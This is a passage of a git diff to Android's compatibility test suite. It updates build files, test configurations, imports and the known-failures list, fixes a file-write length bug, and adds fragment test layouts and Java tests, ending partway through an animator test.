 # Include both the 32 and 64 bit versions
 LOCAL_MULTILIB := both
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_JNI_SHARED_LIBRARIES := libctsdram_jni
 
diff --git a/tests/dram/AndroidTest.xml b/tests/dram/AndroidTest.xml
index 019c15d..636c8c1 100644
--- a/tests/dram/AndroidTest.xml
+++ b/tests/dram/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Dram test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="systems" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsDramTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.dram.cts" />
+        <option name="runtime-hint" value="8m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/dram/src/android/dram/cts/BandwidthTest.java b/tests/dram/src/android/dram/cts/BandwidthTest.java
index fe7e248..8b54d90 100644
--- a/tests/dram/src/android/dram/cts/BandwidthTest.java
+++ b/tests/dram/src/android/dram/cts/BandwidthTest.java
@@ -17,11 +17,11 @@
 package android.dram.cts;
 
 import android.content.Context;
-import android.cts.util.CtsAndroidTestCase;
 import android.graphics.Point;
 import android.util.Log;
 import android.view.WindowManager;
 
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
diff --git a/tests/expectations/knownfailures.txt b/tests/expectations/knownfailures.txt
index a6d31b0..3be19c2 100644
--- a/tests/expectations/knownfailures.txt
+++ b/tests/expectations/knownfailures.txt
@@ -150,14 +150,6 @@
   bug: 18091590
 },
 {
-  description: "these tests require a good test scene, so they fail if run in random conditions",
-  names: [
-    "android.hardware.camera2.cts.AllocationTest#testBlackWhite",
-    "android.hardware.camera2.cts.AllocationTest#testParamSensitivity"
-  ],
-  bug: 17530117
-},
-{
   description: "Test is not yet properly implemented",
   names: [
     "android.voicesettings.cts.ZenModeTest#testAll"
@@ -209,34 +201,6 @@
   bug: 23427621
 },
 {
-  description: "known failures",
-  names: [
-    "android.hardware.cts.SensorBatchingTests#testAccelerometer_50hz_batching",
-    "android.hardware.cts.SensorBatchingTests#testAccelerometer_fastest_batching",
-    "android.hardware.cts.SensorBatchingTests#testGyroscope_50hz_batching",
-    "android.hardware.cts.SensorBatchingTests#testGyroscope_50hz_flush",
-    "android.hardware.cts.SensorBatchingTests#testMagneticField_50hz_batching",
-    "android.hardware.cts.SensorBatchingTests#testMagneticField_fastest_batching",
-    "android.hardware.cts.SensorBatchingTests#testMagneticFieldUncalibrated_50hz_batching",
-    "android.hardware.cts.SensorBatchingTests#testMagneticFieldUncalibrated_fastest_batching",
-    "android.hardware.cts.SensorBatchingTests#testPressure_50hz_batching",
-    "android.hardware.cts.SensorBatchingTests#testPressure_fastest_batching",
-    "android.hardware.cts.SensorBatchingTests#testRotationVector_50hz_flush",
-    "android.hardware.cts.SensorBatchingTests#testRotationVector_fastest_batching",
-    "android.hardware.cts.SensorIntegrationTests#testSensorsMovingRates",
-    "android.hardware.cts.SensorIntegrationTests#testSensorsWithSeveralClients",
-    "android.hardware.cts.SensorTest#testSensorTimeStamps",
-    "android.hardware.cts.SensorTest#testBatchAndFlush",
-    "android.hardware.cts.SingleSensorTests#testGyroscope_15hz",
-    "android.hardware.cts.SingleSensorTests#testGyroscope_1hz",
-    "android.hardware.cts.SingleSensorTests#testMagneticField_1hz",
-    "android.hardware.cts.SingleSensorTests#testMagneticField_50hz",
-    "android.hardware.cts.SingleSensorTests#testMagneticFieldUncalibrated_200hz",
-    "android.hardware.cts.SingleSensorTests#testOrientation_5hz"
-  ],
-  bug: 22922206
-},
-{
   description: "tests are not yet ready",
   names: [
     "com.android.cts.app.os.OsHostTests#testNonExportedActivities"
@@ -244,19 +208,6 @@
   bug: 23779168
 },
 {
-  description: "New assist tests that do not yet have a track record.",
-  names: [
-    "android.assist.cts.AssistantContentViewTest",
-    "android.assist.cts.ExtraAssistDataTest",
-    "android.assist.cts.FocusChangeTest",
-    "android.assist.cts.LargeViewHierarchyTest",
-    "android.assist.cts.ScreenshotTest",
-    "android.assist.cts.TextViewTest",
-    "android.assist.cts.WebViewTest"
-  ],
-  bug: 21668302
-},
-{
   description: "ConnectivityConstraintTest job scheduler not working.",
   names: [
      "android.jobscheduler.cts.ConnectivityConstraintTest#testConnectivityConstraintExecutes_withWifi",
@@ -281,6 +232,16 @@
    bug: 23827982
 },
 {
+   description: "VP9 encoder is not a standard requirement of android as of O.",
+   names: [
+     "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0320x0180",
+     "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf0640x0360",
+     "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1280x0720",
+     "android.media.cts.VideoEncoderDecoderTest#testVp9Goog0Perf1920x1080"
+   ],
+   bug: 33090965
+},
+{
   description: "protected broadcast not working",
   names: [
    "android.permission2.cts.ProtectedBroadcastsTest#testSendProtectedBroadcasts"
diff --git a/tests/filesystem/Android.mk b/tests/filesystem/Android.mk
index bf88148..417d7c4 100644
--- a/tests/filesystem/Android.mk
+++ b/tests/filesystem/Android.mk
@@ -18,7 +18,7 @@
 # don't include this package in any target
 LOCAL_MODULE_TAGS := optional
 
-LOCAL_STATIC_JAVA_LIBRARIES := ctsdeviceutil compatibility-device-util ctstestrunner
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util ctstestrunner
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/filesystem/AndroidTest.xml b/tests/filesystem/AndroidTest.xml
index 2b4a356..5f3923b 100644
--- a/tests/filesystem/AndroidTest.xml
+++ b/tests/filesystem/AndroidTest.xml
@@ -14,13 +14,14 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS File System test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFileSystemTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.filesystem.cts" />
-        <option name="runtime-hint" value="22m48s" />
+        <option name="runtime-hint" value="14m48s" />
         <!-- test-timeout unit is ms, value = 60 min -->
         <option name="test-timeout" value="3600000" />
     </test>
diff --git a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
index 11b150e..3ae2408 100644
--- a/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/AlmostFullTest.java
@@ -18,10 +18,10 @@
 
 import android.util.Log;
 
-import android.cts.util.CtsAndroidTestCase;
-import android.cts.util.SystemUtil;
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 
 import com.android.compatibility.common.util.DeviceReportLog;
+import com.android.compatibility.common.util.SystemUtil;
 
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.concurrent.atomic.AtomicInteger;
diff --git a/tests/filesystem/src/android/filesystem/cts/FileUtil.java b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
index 8149105..386679a 100755
--- a/tests/filesystem/src/android/filesystem/cts/FileUtil.java
+++ b/tests/filesystem/src/android/filesystem/cts/FileUtil.java
@@ -17,7 +17,6 @@
 package android.filesystem.cts;
 
 import android.content.Context;
-import android.cts.util.SystemUtil;
 import android.util.Log;
 
 import com.android.compatibility.common.util.DeviceReportLog;
@@ -27,6 +26,7 @@
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
 import com.android.compatibility.common.util.Stat;
+import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.BufferedReader;
 import java.io.File;
@@ -147,8 +147,9 @@
         byte[] data = generateRandomData(BUFFER_SIZE);
         long written = 0;
         while (written < length) {
-            out.write(data);
-            written += BUFFER_SIZE;
+            int toWrite = (int) Math.min(BUFFER_SIZE, length - written);
+            out.write(data, 0, toWrite);
+            written += toWrite;
         }
         out.flush();
         out.close();
diff --git a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
index 7b97f8f..f9abebb 100644
--- a/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/RandomRWTest.java
@@ -16,9 +16,10 @@
 
 package android.filesystem.cts;
 
-import android.cts.util.CtsAndroidTestCase;
 import android.os.Environment;
+
 import com.android.compatibility.common.util.CddTest;
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 import com.android.compatibility.common.util.DeviceReportLog;
 
 public class RandomRWTest extends CtsAndroidTestCase {
diff --git a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
index 5c06198..ed24759 100644
--- a/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
+++ b/tests/filesystem/src/android/filesystem/cts/SequentialRWTest.java
@@ -16,7 +16,7 @@
 
 package android.filesystem.cts;
 
-import android.cts.util.CtsAndroidTestCase;
+import com.android.compatibility.common.util.CtsAndroidTestCase;
 
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.MeasureRun;
diff --git a/tests/fragment/Android.mk b/tests/fragment/Android.mk
index d5f78b6..053e668 100644
--- a/tests/fragment/Android.mk
+++ b/tests/fragment/Android.mk
@@ -28,10 +28,14 @@
 
 LOCAL_PROGUARD_ENABLED := disabled
 
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    compatibility-device-util \
+LOCAL_STATIC_JAVA_LIBRARIES += \
     android-support-test \
-    legacy-android-test
+    mockito-target-minus-junit4 \
+    android-common \
+    compatibility-device-util \
+    ctstestrunner \
+    platform-test-annotations
+#LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util android-support-test
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/tests/fragment/AndroidManifest.xml b/tests/fragment/AndroidManifest.xml
index 05027b5..a9fbde2 100644
--- a/tests/fragment/AndroidManifest.xml
+++ b/tests/fragment/AndroidManifest.xml
@@ -27,6 +27,9 @@
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+        <activity android:name=".LoaderActivity"/>
+        <activity android:name=".NewIntentActivity" android:launchMode="singleInstance" />
+        <activity android:name=".NonConfigOnStopActivity"/>
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/tests/fragment/AndroidTest.xml b/tests/fragment/AndroidTest.xml
index f3e302a..690bdc2 100644
--- a/tests/fragment/AndroidTest.xml
+++ b/tests/fragment/AndroidTest.xml
@@ -14,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Configuration for app.usage Tests">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="framework" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsFragmentTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.fragment.cts" />
+        <option name="runtime-hint" value="13m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/fragment/res/animator/slow_fade_out.xml b/tests/fragment/res/animator/slow_fade_out.xml
new file mode 100644
index 0000000..d8d2ad2
--- /dev/null
+++ b/tests/fragment/res/animator/slow_fade_out.xml
@@ -0,0 +1,20 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<objectAnimator xmlns:android="http://schemas.android.com/apk/res/android"
+                android:duration="5000"
+                android:propertyName="alpha"
+                android:valueFrom="1.0"
+                android:valueTo="0.0"/>
diff --git a/tests/fragment/res/layout/double_container.xml b/tests/fragment/res/layout/double_container.xml
new file mode 100644
index 0000000..c24d5ce
--- /dev/null
+++ b/tests/fragment/res/layout/double_container.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:orientation="vertical"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <FrameLayout
+        android:id="@+id/fragmentContainer1"
+        android:layout_weight="1"
+        android:layout_width="match_parent"
+        android:layout_height="0px"/>
+    <FrameLayout
+        android:id="@+id/fragmentContainer2"
+        android:layout_weight="1"
+        android:layout_width="match_parent"
+        android:layout_height="0px"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/fragment/res/layout/nested_inflated_fragment_child.xml b/tests/fragment/res/layout/nested_inflated_fragment_child.xml
new file mode 100644
index 0000000..9a11bc4
--- /dev/null
+++ b/tests/fragment/res/layout/nested_inflated_fragment_child.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical">
+    <TextView android:layout_width="match_parent"
+              android:layout_height="wrap_content"
+              android:text="Test" />
+</LinearLayout>
diff --git a/tests/fragment/res/layout/nested_inflated_fragment_parent.xml b/tests/fragment/res/layout/nested_inflated_fragment_parent.xml
new file mode 100644
index 0000000..026ba45
--- /dev/null
+++ b/tests/fragment/res/layout/nested_inflated_fragment_parent.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical">
+    <fragment android:name="android.fragment.cts.NestedInflatedFragmentTest$InflatedChildFragment"
+              android:id="@+id/child_fragment"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent" />
+</LinearLayout>
diff --git a/tests/fragment/res/layout/scene1.xml b/tests/fragment/res/layout/scene1.xml
new file mode 100644
index 0000000..d0509c3
--- /dev/null
+++ b/tests/fragment/res/layout/scene1.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/squareContainer"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+    <View android:id="@+id/greenSquare"
+          android:layout_width="10dp"
+          android:layout_height="10dp"
+          android:transitionName="greenSquare"
+          android:background="#080"/>
+    <View android:id="@+id/blueSquare"
+          android:transitionName="blueSquare"
+          android:layout_width="10dp"
+          android:layout_height="10dp"
+          android:background="#008"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/fragment/res/layout/scene2.xml b/tests/fragment/res/layout/scene2.xml
new file mode 100644
index 0000000..ef809a4
--- /dev/null
+++ b/tests/fragment/res/layout/scene2.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/squareContainer"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+    <View android:id="@+id/blueSquare"
+          android:transitionName="blueSquare"
+          android:layout_width="10dp"
+          android:layout_height="10dp"
+          android:background="#008"/>
+    <View android:id="@+id/greenSquare"
+          android:layout_width="10dp"
+          android:layout_height="10dp"
+          android:transitionName="greenSquare"
+          android:background="#080"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/fragment/res/layout/scene3.xml b/tests/fragment/res/layout/scene3.xml
new file mode 100644
index 0000000..15519fd
--- /dev/null
+++ b/tests/fragment/res/layout/scene3.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:id="@+id/squareContainer"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+    <View android:id="@+id/redSquare"
+          android:layout_width="10dp"
+          android:layout_height="10dp"
+          android:background="#800"/>
+    <View android:id="@+id/blueSquare"
+          android:transitionName="shared"
+          android:layout_width="10dp"
+          android:layout_height="10dp"
+          android:background="#008"/>
+    <View android:id="@+id/greenSquare"
+          android:layout_width="10dp"
+          android:layout_height="10dp"
+          android:transitionName="greenSquare"
+          android:background="#080"/>
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/fragment/res/layout/simple_container.xml b/tests/fragment/res/layout/simple_container.xml
new file mode 100644
index 0000000..f231c1ec
--- /dev/null
+++ b/tests/fragment/res/layout/simple_container.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+             android:id="@+id/fragmentContainer"
+             android:layout_width="match_parent"
+             android:layout_height="match_parent">
+
+</FrameLayout>
\ No newline at end of file
diff --git a/tests/fragment/res/layout/text_a.xml b/tests/fragment/res/layout/text_a.xml
new file mode 100644
index 0000000..b164469
--- /dev/null
+++ b/tests/fragment/res/layout/text_a.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:id="@+id/textA"/>
diff --git a/tests/fragment/res/layout/text_b.xml b/tests/fragment/res/layout/text_b.xml
new file mode 100644
index 0000000..3d307fc
--- /dev/null
+++ b/tests/fragment/res/layout/text_b.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:id="@+id/textB"/>
diff --git a/tests/fragment/res/layout/text_c.xml b/tests/fragment/res/layout/text_c.xml
new file mode 100644
index 0000000..e40b5ab
--- /dev/null
+++ b/tests/fragment/res/layout/text_c.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android"
+          android:layout_width="wrap_content"
+          android:layout_height="wrap_content"
+          android:id="@+id/textC"/>
diff --git a/tests/fragment/src/android/fragment/cts/CountCallsFragment.java b/tests/fragment/src/android/fragment/cts/CountCallsFragment.java
new file mode 100644
index 0000000..a262772
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/CountCallsFragment.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import android.content.Context;
+import android.os.Bundle;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+
+/**
+ * Counts the number of onCreateView, onHiddenChanged (onHide, onShow), onAttach, and onDetach
+ * calls.
+ */
+public class CountCallsFragment extends StrictViewFragment {
+    public int onCreateViewCount = 0;
+    public int onDestroyViewCount = 0;
+    public int onHideCount = 0;
+    public int onShowCount = 0;
+    public int onAttachCount = 0;
+    public int onDetachCount = 0;
+
+    @Override
+    public View onCreateView(LayoutInflater inflater, ViewGroup container,
+            Bundle savedInstanceState) {
+        onCreateViewCount++;
+        return super.onCreateView(inflater, container, savedInstanceState);
+    }
+
+    @Override
+    public void onHiddenChanged(boolean hidden) {
+        if (hidden) {
+            onHideCount++;
+        } else {
+            onShowCount++;
+        }
+        super.onHiddenChanged(hidden);
+    }
+
+    @Override
+    public void onAttach(Context context) {
+        onAttachCount++;
+        super.onAttach(context);
+    }
+
+    @Override
+    public void onDetach() {
+        onDetachCount++;
+        super.onDetach();
+    }
+
+    @Override
+    public void onDestroyView() {
+        onDestroyViewCount++;
+        super.onDestroyView();
+    }
+}
diff --git a/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
new file mode 100644
index 0000000..f99bb0b
--- /dev/null
+++ b/tests/fragment/src/android/fragment/cts/FragmentAnimatorTest.java
@@ -0,0 +1,589 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.fragment.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+
+import android.animation.Animator;
+import android.animation.AnimatorListenerAdapter;
+import android.animation.ValueAnimator;
+import android.app.Fragment;
+import android.app.FragmentController;
+import android.app.FragmentManager;
+import android.app.FragmentManagerNonConfig;
+import android.os.Parcelable;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.util.Pair;
+import android.view.View;
+import android.view.animation.TranslateAnimation;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class FragmentAnimatorTest {
+    // These are pretend resource IDs for animators. We don't need real ones since we
+    // load them by overriding onCreateAnimator
+    private final static int ENTER = 1;
+    private final static int EXIT = 2;
+    private final static int POP_ENTER = 3;
+    private final static int POP_EXIT = 4;
+
+    @Rule
+    public ActivityTestRule<FragmentTestActivity> mActivityRule =
+            new ActivityTestRule<FragmentTestActivity>(FragmentTestActivity.class);
+
+    @Before
+    public void setupContainer() {
+        FragmentTestUtil.setContentView(mActivityRule, R.layout.simple_container);
+    }
+
+    // Ensure that adding and popping a Fragment uses the enter and popExit animators
+    @Test
+    public void addAnimators() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .add(R.id.fragmentContainer, fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertEnterPopExit(fragment);
+    }
+
+    // Ensure that removing and popping a Fragment uses the exit and popEnter animators
+    @Test
+    public void removeAnimators() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment, "1").commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        fm.beginTransaction()
+                .setCustomAnimations(ENTER, EXIT, POP_ENTER, POP_EXIT)
+                .remove(fragment)
+                .addToBackStack(null)
+                .commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        assertExitPopEnter(fragment);
+    }
+
+    // Ensure that showing and popping a Fragment uses the enter and popExit animators
+    // This tests reordered transactions
+    @Test
+    public void showAnimatorsReordered() throws Throwable {
+        final FragmentManager fm = mActivityRule.getActivity().getFragmentManager();
+
+        // One fragment with a view
+        final AnimatorFragment fragment = new AnimatorFragment();
+        fm.beginTransaction().add(R.id.fragmentContainer, fragment).hide(fragment).commit();
+        FragmentTestUtil.waitForExecution(mActivityRule);
+
+        mActivityRule.runOnUiThread(() -> {
+            assertEquals(View.GONE, fragment.getView().getVisibility());
+        });
+
+        fm.beginTransaction()
